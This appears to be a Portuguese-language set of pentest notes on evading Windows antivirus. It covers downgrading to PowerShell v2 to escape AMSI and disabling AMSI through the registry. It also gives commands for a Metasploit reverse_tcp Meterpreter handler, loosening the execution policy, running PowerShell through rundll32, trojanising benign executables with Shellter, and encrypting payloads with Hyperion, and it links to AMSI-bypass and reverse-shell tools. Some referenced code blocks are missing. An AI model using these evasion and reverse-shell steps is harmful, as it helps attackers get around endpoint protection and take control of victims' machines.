Realizar exploração utilizando uma versão antiga do powershell é útil para realizar bypass em sistemas de segurança. Para isso, é preciso que o Powershell em uma versão mais antiga esteja disponível no SO. É aconselhável que utilize a versão 1 ou 2 do Powershell, que não tem por exemplo, proteçao AMSI.
Verificando a versão atual do powershell
$PSVersionTable
Alterando para a versão 2
powershell-version2powershell-v2
Validando Bypass
AMSI
Execute o comando abaixo no Powershell para verificar se o AMSI está ativo.
Invoke-Expression'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'
Se o resultado for This script contains malicious content and has been blocked by your antivirus software., significa que o AMSI está ativo, porém se a resposta for AMSI: The term 'AMSI' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again., o AMSI não está funcionando corretamente.
Defender
Para verificar se o Defender realmente está funcionando, salve um arquivo chamado eicar.txt no Área de Trabalho, com o conteúdo abaixo. Se o Defender estiver ativo, irá receber uma alerta/notificação e o arquivo irá ser excluído instantaneamente.
O AMSI (Anti-Malware Scan Interface) é uma ferramenta da Microsoft que tem a capacidade de analisar softwares mal intencionados que estão carregados em memória (sem passar pelo HD), verificar URL's, etc, sendo possível até mesmo servir de API para qualquer AV (por padrão o Windows Defender já possui essa integração). Quando abrimos o powershell, o AMSI.dll é injetado em memória e cada nova execução, as API's AmsiScanString() e AmsiScanBuffer() são executadas para verificar se o usuário está realizando alguma tarefa maliciosa.
DICA: Existe uma ferramenta útil chamada AMSI Trigger, que informa qual a exata string que acionou o AMSI. Útil verificar isso para sabermos qual string devemos fazer bypass
Uma das formas de realizarmos o bypass, é removendo uma chave do registro que desativará o AMSI (requer privilégios administrativos). Provavelmente o host irá ficar vulnerável após isso.
O intuito desse esquema é fazermos um prompt de comando interativo, levando em conta em que temos o prompt original bloquado, porém temos a possibilidade de executarmos arquivos com extensão bat. Então crie um arquivo com extensão bat e adicione nele, o seguinte conteúdo:
OBS.: Os fabricantes de antivírus também tem acesso ao msfvenom e obviamente ao shikata_ga_nai também. Por esse motivo, essa técnica pode não ser tão eficiente.
Vírus com Criptografia
Para ofuscar nosso vírus, podemos criptografá-lo e, assim, alterar a sua assinatura. Uma ferramenta muito mencionada para fazer isso é o Hyperion. É um binário do Windows, mas também podemos compilar e executá-lo no Linux. Vale a pena citar que isso funcionou para mim 2016, mas hoje não sei se funciona
O comando acima resultará numa variável chamada $buf, que contém o payload necessário. Copie somente o conteúdo de $buf na variável $sc do arquivo ps1 que foi criado.
Agora precisamos abrir o Metasploit para pegarmos a sessão no Meterpreter:
sudo msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <ip>
set LPORT <port>
exploit
Agora que nosso ambiente já está pronto, podemos executar o arquivo ps1 no Powershell do host alvo. Em alguns casos, podemos não conseguir executar o arquivo porque a execução de scripts foi desabilitada. Utilize os comandos abaixo para verificar a permissão atual e também para alterá-las. Após isso, basta executar novamente o ps1 e verificar se a sessão Meterpreter foi criada.
# Configuração atualGet-ExecutionPolicy-Scope CurrentUser# Alterando a configuração para UnrestrictedSet-ExecutionPolicy-ExecutionPolicy Unrestricted -Scope CurrentUser
Powershell Without Powershell
Isso é útil para fazermos bypass quando o AV não nos permite chamar o powershell.
rundll32.exePowerShdll,main
Shellter
Instalação
sudo apt update
sudo apt install shellter
Como o Shellter foi projetado para ser executado no Windows, precisamos instalar o Wine
sudoaptinstallwine
Utilização
Antes de começarmos de fato, verifique se a instalação ocorreu bem, através do comando shellter, que deve abrir um novo terminal com a console do Shellter. Caso dê erro, tente o comando abaixo:
Agora baixe algum executável não-malicioso da internet, pois é nele que vamos inserir o nosso shellcode.
Com o Shellter já aberto selecione a opção A (Automatic), informe o caminho do executável e vai seguindo as perguntas do terminal. Antes de fazer a alteração no executável, o Shellter irá criar um backup. Caso selecione a opção 1 do Meterpreter, utilize o exploit/multi/handler.
Enigma Protector
Software free que pode ser usado para contornar produtos antivírus.
Sites
# Gerador aleatório de Bypass AMSIhttps://amsi.fail/# Bypass AMSIhttps://github.com/tihanyin/PSSW100AVB# Diversas maneiras de fazer bypass em AMSIhttps://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell# Invoke-Obfuscationhttps://github.com/danielbohannon/Invoke-Obfuscation.git# Realiza scan com diversos antivírushttps://www.virustotal.comhttps://www.hybrid-analysis.com/# Bypass com SSL/TLShttps://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode# Reverse Shell com Bypass do Windows Defenderhttps://github.com/t3l3machus/hoaxshell